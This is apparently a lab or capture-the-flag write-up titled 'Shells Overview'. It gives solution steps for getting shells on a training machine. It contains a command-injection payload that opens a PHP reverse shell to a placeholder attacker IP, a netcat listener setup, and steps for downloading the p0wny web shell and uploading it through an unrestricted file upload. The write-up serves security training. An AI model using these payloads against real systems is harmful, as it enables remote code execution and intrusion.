Skip to content

shellsoverview.md

Latest commit

 

History

History
18 lines (13 loc) · 954 Bytes

shellsoverview.md

File metadata and controls

18 lines (13 loc) · 954 Bytes
Raw

Shells Overview

Task 8 Practical Task

Using a reverse or bind shell, exploit the command injection vulnerability to get a shell. What is the content of the flag saved in the / directory?

  • Setup listener rlwrap nc -lvnp 1443
  • Go to http://MACHINE_IP:8081/ (replace MACHINE_IP accordingly)
  • Submit hello.txt ; php -r '$sock=fsockopen("ATTACKBOX_IP",1443);exec("sh <&3 >&3 2>&3");' (replace ATTACKBOX_IP accordingly)
  • Execute on listener cat /flag.txt

Using a web shell, exploit the unrestricted file upload vulnerability and get a shell. What is the content of the flag saved in the / directory?

  • Download web shell curl https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php -s -o shell.php
  • Go to http://MACHINE_IP:8082/ (replace MACHINE_IP accordingly)
  • Upload shell.php
  • Go to http://MACHINE_IP:8082/uploads/shell.php
  • Execute cat /flag.txt